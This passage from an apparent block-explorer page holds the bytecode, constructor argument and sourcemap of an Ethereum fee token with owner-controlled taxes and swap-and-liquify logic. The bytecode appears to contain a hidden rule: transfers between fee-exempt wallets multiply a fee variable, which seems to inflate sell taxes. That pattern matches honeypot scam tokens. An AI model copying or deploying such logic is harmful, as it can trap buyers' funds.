ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d91906129b2565b60405180910390fd5b50600083856118259190612fe2565b9050809150509392505050565b60008061183e84610e50565b9050600454838261184f9190613016565b1115806118a55750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118db906130bc565b60405180910390fd5b6118ec611d83565b80156119455750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561195357611952611e5a565b5b600062989680846119649190612e79565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611a21578084611a1e9190612fe2565b93505b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ac35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611adc57611ad38686866123d5565b92505050611d1e565b611b65846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611bb487876124f9565b611bbe5784611c1a565b611c198786601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146125a7565b5b9050611c6e81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d0e9190612907565b60405180910390a3600193505050505b9392505050565b6000808284611d349190613016565b905083811015611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7090613128565b60405180910390fd5b8091505092915050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611df05750601460009054906101000a900460ff16155b8015611e085750601160149054906101000a900460ff165b8015611e555750601254600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601460006101000a81548160ff0219169083151502179055506000601354600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611eca576013549050611f0d565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000611f4b6002611f3d600b54611f2f6009548761271f90919063ffffffff16565b61279990919063ffffffff16565b61279990919063ffffffff16565b90506000611f6282846127e390919063ffffffff16565b90506000600267ffffffffffffffff811115611f8157611f80613148565b5b604051908082528060200260200182016040528015611faf5781602001602082028036833780820191505090505b5090503081600081518110611fc757611fc6613177565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561206e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209291906131bb565b816001815181106120a6576120a5613177565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121449594939291906132e1565b600060405180830381600087803b15801561215e57600080fd5b505af1158015612172573d6000803e3d6000fd5b50505050600047905060006121a7612196600260095461279990919063ffffffff16565b600b546127e390919063ffffffff16565b905060006121e560026121d7846121c96009548861271f90919063ffffffff16565b61279990919063ffffffff16565b61279990919063ffffffff16565b905060006121fc82856127e390919063ffffffff16565b9050600081111561229e576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516122539061336c565b600060405180830381858888f193505050503d8060008114612291576040519150601f19603f3d011682016040523d82523d6000602084013e612296565b606091505b505080915050505b60008711156123b057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161233096959493929190613381565b60606040518083038185885af115801561234e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061237391906133f7565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450682886040516123a792919061344a565b60405180910390a15b50505050505050506000601460006101000a81548160ff021916908315150217905550565b60006123ee6103e8600d5461271f90919063ffffffff16565b600d8190555061244682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124e69190612907565b60405180910390a3600190509392505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561259f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080826125b65760646125ba565b600d545b905060006126056064600c546125d09190612df0565b6125f7846125e9600b548a61271f90919063ffffffff16565b61271f90919063ffffffff16565b61279990919063ffffffff16565b905061265981600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126f99190612907565b60405180910390a361271481866127e390919063ffffffff16565b925050509392505050565b60008083036127315760009050612793565b6000828461273f9190612df0565b905082848261274e9190612e79565b1461278e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612785906134e5565b60405180910390fd5b809150505b92915050565b60006127db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282d565b905092915050565b600061282583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117ce565b905092915050565b60008083118290612874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286b91906129b2565b60405180910390fd5b50600083856128839190612e79565b9050809150509392505050565b600080fd5b6000819050919050565b6128a881612895565b81146128b357600080fd5b50565b6000813590506128c58161289f565b92915050565b6000602082840312156128e1576128e0612890565b5b60006128ef848285016128b6565b91505092915050565b61290181612895565b82525050565b600060208201905061291c60008301846128f8565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561295c578082015181840152602081019050612941565b60008484015250505050565b6000601f19601f8301169050919050565b600061298482612922565b61298e818561292d565b935061299e81856020860161293e565b6129a781612968565b840191505092915050565b600060208201905081810360008301526129cc8184612979565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129ff826129d4565b9050919050565b612a0f816129f4565b8114612a1a57600080fd5b50565b600081359050612a2c81612a06565b92915050565b60008060408385031215612a4957612a48612890565b5b6000612a5785828601612a1d565b9250506020612a68858286016128b6565b9150509250929050565b60008115159050919050565b612a8781612a72565b82525050565b6000602082019050612aa26000830184612a7e565b92915050565b612ab181612a72565b8114612abc57600080fd5b50565b600081359050612ace81612aa8565b92915050565b60008060408385031215612aeb57612aea612890565b5b6000612af985828601612a1d565b9250506020612b0a85828601612abf565b9150509250929050565b600080600060608486031215612b2d57612b2c612890565b5b6000612b3b86828701612a1d565b9350506020612b4c86828701612a1d565b9250506040612b5d868287016128b6565b9150509250925092565b600060ff82169050919050565b612b7d81612b67565b82525050565b6000602082019050612b986000830184612b74565b92915050565b600060208284031215612bb457612bb3612890565b5b6000612bc284828501612a1d565b91505092915050565b612bd4816129f4565b82525050565b6000602082019050612bef6000830184612bcb565b92915050565b60008060408385031215612c0c57612c0b612890565b5b6000612c1a85828601612a1d565b9250506020612c2b85828601612a1d565b9150509250929050565b600080600060608486031215612c4e57612c4d612890565b5b6000612c5c868287016128b6565b9350506020612c6d868287016128b6565b9250506040612c7e868287016128b6565b9150509250925092565b600080600060608486031215612ca157612ca0612890565b5b6000612caf86828701612abf565b9350506020612cc0868287016128b6565b9250506040612cd1868287016128b6565b9150509250925092565b6000819050919050565b6000612d00612cfb612cf6846129d4565b612cdb565b6129d4565b9050919050565b6000612d1282612ce5565b9050919050565b6000612d2482612d07565b9050919050565b612d3481612d19565b82525050565b6000602082019050612d4f6000830184612d2b565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612d8b60068361292d565b9150612d9682612d55565b602082019050919050565b60006020820190508181036000830152612dba81612d7e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612dfb82612895565b9150612e0683612895565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e3f57612e3e612dc1565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e8482612895565b9150612e8f83612895565b925082612e9f57612e9e612e4a565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ef157607f821691505b602082108103612f0457612f03612eaa565b5b50919050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b6000612f40601c8361292d565b9150612f4b82612f0a565b602082019050919050565b60006020820190508181036000830152612f6f81612f33565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612fac60088361292d565b9150612fb782612f76565b602082019050919050565b60006020820190508181036000830152612fdb81612f9f565b9050919050565b6000612fed82612895565b9150612ff883612895565b92508282039050818111156130105761300f612dc1565b5b92915050565b600061302182612895565b915061302c83612895565b925082820190508082111561304457613043612dc1565b5b92915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b60006130a6603e8361292d565b91506130b18261304a565b604082019050919050565b600060208201905081810360008301526130d581613099565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613112601b8361292d565b915061311d826130dc565b602082019050919050565b6000602082019050818103600083015261314181613105565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506131b581612a06565b92915050565b6000602082840312156131d1576131d0612890565b5b60006131df848285016131a6565b91505092915050565b6000819050919050565b600061320d613208613203846131e8565b612cdb565b612895565b9050919050565b61321d816131f2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613258816129f4565b82525050565b600061326a838361324f565b60208301905092915050565b6000602082019050919050565b600061328e82613223565b613298818561322e565b93506132a38361323f565b8060005b838110156132d45781516132bb888261325e565b97506132c683613276565b9250506001810190506132a7565b5085935050505092915050565b600060a0820190506132f660008301886128f8565b6133036020830187613214565b81810360408301526133158186613283565b90506133246060830185612bcb565b61333160808301846128f8565b9695505050505050565b600081905092915050565b50565b600061335660008361333b565b915061336182613346565b600082019050919050565b600061337782613349565b9150819050919050565b600060c0820190506133966000830189612bcb565b6133a360208301886128f8565b6133b06040830187613214565b6133bd6060830186613214565b6133ca6080830185612bcb565b6133d760a08301846128f8565b979650505050505050565b6000815190506133f18161289f565b92915050565b6000806000606084860312156134105761340f612890565b5b600061341e868287016133e2565b935050602061342f868287016133e2565b9250506040613440868287016133e2565b9150509250925092565b600060408201905061345f60008301856128f8565b61346c60208301846128f8565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134cf60218361292d565b91506134da82613473565b604082019050919050565b600060208201905081810360008301526134fe816134c2565b905091905056fea26469706673582212205ce11b727af6f0074b82c1a90ca161bd116f044dd2c05a57e790b945922809f764736f6c63430008100033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : routeraddr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

4605:8835:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8129:181;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5554:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6799:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7235:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5275:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6529:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5208:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8318:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7753:368;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6623:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5318:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7459:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11705:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5167:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5517:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6885:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2735:148;;;;;;;;;;;;;:::i;:::-;;10698:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4849:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2549:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6709:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5126:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11469:228;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5489:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7589:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5615:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5363:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11092:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10841:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6996:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5406:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2891:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5450:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8129:181;2686:10;2676:20;;:6;;;;;;;;;;:20;;;2668:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;8297:5:::1;8268:24;8253:12;;:39;;;;:::i;:::-;8252:50;;;;:::i;:::-;8234:15;:68;;;;8129:181:::0;:::o;5554:54::-;;;;:::o;6799:80::-;6847:13;6871:5;6864:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6799:80;:::o;7235:216::-;7310:4;7362:6;7327:11;:23;7339:10;7327:23;;;;;;;;;;;;;;;:32;7351:7;7327:32;;;;;;;;;;;;;;;:41;;;;7405:7;7384:37;;7393:10;7384:37;;;7414:6;7384:37;;;;;;:::i;:::-;;;;;;;;7439:4;7432:11;;7235:216;;;;:::o;5275:36::-;;;;:::o;6529:88::-;6584:7;6602:12;;6595:19;;6529:88;:::o;5208:60::-;;;;:::o;8318:135::-;2686:10;2676:20;;:6;;;;;;;;;;:20;;;2668:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;8439:6:::1;8409:19;:27;8429:6;8409:27;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;8318:135:::0;;:::o;7753:368::-;7853:4;7908:17;7873:11;:19;7885:6;7873:19;;;;;;;;;;;;;;;:31;7893:10;7873:31;;;;;;;;;;;;;;;;:52;7870:186;;7975:69;8011:6;7975:69;;;;;;;;;;;;;;;;;:11;:19;7987:6;7975:19;;;;;;;;;;;;;;;:31;7995:10;7975:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;7941:11;:19;7953:6;7941:19;;;;;;;;;;;;;;;:31;7961:10;7941:31;;;;;;;;;;;;;;;:103;;;;7870:186;8073:40;8087:6;8095:9;8106:6;8073:13;:40::i;:::-;8066:47;;7753:368;;;;;:::o;6623:80::-;6675:5;4786:1;6684:16;;6623:80;:::o;5318:36::-;;;;:::o;7459:122::-;7514:4;7538:35;7546:7;7555:17;7538:7;:35::i;:::-;7531:42;;7459:122;;;:::o;11705:120::-;2686:10;2676:20;;:6;;;;;;;;;;:20;;;2668:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11811:6:::1;11789:11;:19;11801:6;11789:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;11705:120:::0;;:::o;5167:34::-;;;;:::o;5517:30::-;;;;;;;;;;;;;:::o;6885:105::-;6951:7;6969:9;:18;6979:7;6969:18;;;;;;;;;;;;;;;;6962:25;;6885:105;;;:::o;2735:148::-;2686:10;2676:20;;:6;;;;;;;;;;:20;;;2668:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;2842:1:::1;2805:40;;2826:6;::::0;::::1;;;;;;;;2805:40;;;;;;;;;;;;2873:1;2856:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2735:148::o:0;10698:135::-;2686:10;2676:20;;:6;;;;;;;;;;:20;;;2668:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10774:8:::1;10767:4;;:15;;;;;;;;;;;;;;;;;;10821:4;10793:19;:25;10813:4;;;;;;;;;;;10793:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;10698:135:::0;:::o;4849:57::-;;;;:::o;2549:79::-;2587:7;2614:6;;;;;;;;;;;2607:13;;2549:79;:::o;6709:84::-;6759:13;6783:7;6776:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6709:84;:::o;5126:34::-;;;;:::o;11469:228::-;2686:10;2676:20;;:6;;;;;;;;;;:20;;;2668:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11612:22:::1;11588:21;;:46;;;;;;;;;;;;;;;;;;11668:21;11645:20;;:44;;;;;;;;;;;;;;;;;;11469:228:::0;;:::o;5489:19::-;;;;;;;;;;;;;:::o;7589:156::-;7669:4;7693:44;7707:10;7719:9;7730:6;7693:13;:44::i;:::-;7686:51;;7589:156;;;;:::o;5615:56::-;;;;:::o;5363:36::-;;;;;;;;;;;;;:::o;11092:369::-;2686:10;2676:20;;:6;;;;;;;;;;:20;;;2668:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11225:13:::1;11210:12;:28;;;;11264:13;11249:12;:28;;;;11299:32;11317:13;11299;:17;;:32;;;;:::i;:::-;11288:8;:43;;;;11359:15;11342:14;:32;;;;11419:1;11404:14;;:16;;;;:::i;:::-;11393:8;;:27;11385:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11092:369:::0;;;:::o;10841:243::-;2686:10;2676:20;;:6;;;;;;;;;;:20;;;2668:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10980:8:::1;10966:11;;:22;;;;;;;;;;;;;;;;;;11015:14;10999:13;:30;;;;11059:17;11040:16;:36;;;;10841:243:::0;;;:::o;6996:133::-;7080:7;7098:11;:19;7110:6;7098:19;;;;;;;;;;;;;;;:28;7118:7;7098:28;;;;;;;;;;;;;;;;7091:35;;6996:133;;;;:::o;5406:35::-;;;;;;;;;;;;;:::o;2891:214::-;2686:10;2676:20;;:6;;;;;;;;;;:20;;;2668:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;3000:1:::1;2980:22;;:8;:22;;::::0;2972:43:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3060:8;3031:38;;3052:6;::::0;::::1;;;;;;;;3031:38;;;;;;;;;;;;3089:8;3080:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2891:214:::0;:::o;5450:32::-;;;;;;;;;;;;;:::o;593:190::-;679:7;712:1;707;:6;;715:12;699:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;739:9;755:1;751;:5;;;;:::i;:::-;739:17;;774:1;767:8;;;593:190;;;;;:::o;8461:1106::-;8553:4;8613:18;8634:20;8644:9;8634;:20::i;:::-;8613:41;;8698:15;;8687:6;8674:10;:19;;;;:::i;:::-;8673:40;;:74;;;;8717:19;:30;8737:9;8717:30;;;;;;;;;;;;;;;;;;;;;;;;;8673:74;8665:148;;;;;;;;;;;;:::i;:::-;;;;;;;;;8853:16;:14;:16::i;:::-;:37;;;;;8886:4;;;;;;;;;;;8873:17;;:9;:17;;;8853:37;8850:54;;;8892:10;:8;:10::i;:::-;8850:54;8943:21;8976:8;8967:6;:17;;;;:::i;:::-;8943:41;;8999:11;:19;9011:6;8999:19;;;;;;;;;;;;;;;;;;;;;;;;;8998:20;:41;;;;;9035:4;;;;;;;;;;;9022:17;;:9;:17;;;8998:41;8995:95;;;9065:13;9055:23;;;;;:::i;:::-;;;8995:95;9103:11;:19;9115:6;9103:19;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;;9126:11;:22;9138:9;9126:22;;;;;;;;;;;;;;;;;;;;;;;;;9103:45;9100:96;;;9157:39;9172:6;9179:9;9189:6;9157:14;:39::i;:::-;9150:46;;;;;;9100:96;9227:53;9249:6;9227:53;;;;;;;;;;;;;;;;;:9;:17;9237:6;9227:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;9207:9;:17;9217:6;9207:17;;;;;;;;;;;;;;;:73;;;;9291:22;9316:31;9330:6;9337:9;9316:13;:31::i;:::-;:86;;9396:6;9316:86;;;9350:43;9358:6;9366;9387:4;;;;;;;;;;;9374:17;;:9;:17;;;9350:7;:43::i;:::-;9316:86;9291:111;;9436:40;9461:14;9436:9;:20;9446:9;9436:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;9413:9;:20;9423:9;9413:20;;;;;;;;;;;;;;;:63;;;;9511:9;9494:43;;9503:6;9494:43;;;9522:14;9494:43;;;;;;:::i;:::-;;;;;;;;9555:4;9548:11;;;;;8461:1106;;;;;;:::o;266:179::-;324:7;344:9;360:1;356;:5;;;;:::i;:::-;344:17;;385:1;380;:6;;372:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;436:1;429:8;;;266:179;;;;:::o;10493:197::-;10542:4;10580;;;;;;;;;;;10566:18;;:10;:18;;;;:38;;;;;10598:6;;;;;;;;;;;10597:7;10566:38;:62;;;;;10617:11;;;;;;;;;;;10566:62;:116;;;;;10669:13;;10641:9;:24;10659:4;10641:24;;;;;;;;;;;;;;;;:41;;10566:116;10559:123;;10493:197;:::o;11833:1602::-;5729:4;5720:6;;:13;;;;;;;;;;;;;;;;;;11892:22:::1;11955:16;;11928:9;:24;11946:4;11928:24;;;;;;;;;;;;;;;;:43;11925:180;;;12004:16;;11987:33;;11925:180;;;12069:9;:24;12087:4;12069:24;;;;;;;;;;;;;;;;12052:41;;11925:180;12115:23;12141:53;12192:1;12141:46;12178:8;;12141:32;12160:12;;12141:14;:18;;:32;;;;:::i;:::-;:36;;:46;;;;:::i;:::-;:50;;:53;;;;:::i;:::-;12115:79;;12205:20;12228:35;12247:15;12228:14;:18;;:35;;;;:::i;:::-;12205:58;;12276:21;12314:1;12300:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12276:40;;12345:4;12327;12332:1;12327:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12371:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12361:4;12366:1;12361:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12395:6;;;;;;;;;;;:57;;;12467:12;12494:1;12510:4;12537;12557:15;12395:188;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12596:17;12616:21;12596:41;;12648:19;12670:33;12683:19;12700:1;12683:12;;:16;;:19;;;;:::i;:::-;12670:8;;:12;;:33;;;;:::i;:::-;12648:55;;12714:26;12743:51;12792:1;12743:44;12775:11;12743:27;12757:12;;12743:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;:48;;:51;;;;:::i;:::-;12714:80;;12805:26;12834:33;12848:18;12834:9;:13;;:33;;;;:::i;:::-;12805:62;;12902:1;12883:18;:20;12880:174;;;12919:15;12973:20;;;;;;;;;;;12965:34;;13007:18;13032:5;12965:77;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12949:93;;;;;12904:150;12880:174;13087:1;13069:15;:19;13066:362;;;13104:6;;;;;;;;;;;:22;;;13134:18;13180:4;13204:15;13238:1;13258::::0;13278:21:::1;;;;;;;;;;;13318:15;13104:244;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13368:48;13380:18;13400:15;13368:48;;;;;;;:::i;:::-;;;;;;;;13066:362;11871:1564;;;;;;;;5747:5:::0;5738:6;;:14;;;;;;;;;;;;;;;;;;11833:1602::o;9579:298::-;9672:4;9706:24;9725:4;9706:14;;:18;;:24;;;;:::i;:::-;9689:14;:41;;;;9764:32;9789:6;9764:9;:20;9774:9;9764:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9741:9;:20;9751:9;9741:20;;;;;;;;;;;;;;;:55;;;;9829:9;9812:35;;9821:6;9812:35;;;9840:6;9812:35;;;;;;:::i;:::-;;;;;;;;9865:4;9858:11;;9579:298;;;;;:::o;10325:160::-;10405:4;10430:11;:19;10442:6;10430:19;;;;;;;;;;;;;;;;;;;;;;;;;10429:20;:47;;;;;10454:11;:22;10466:9;10454:22;;;;;;;;;;;;;;;;;;;;;;;;;10453:23;10429:47;10422:54;;10325:160;;;;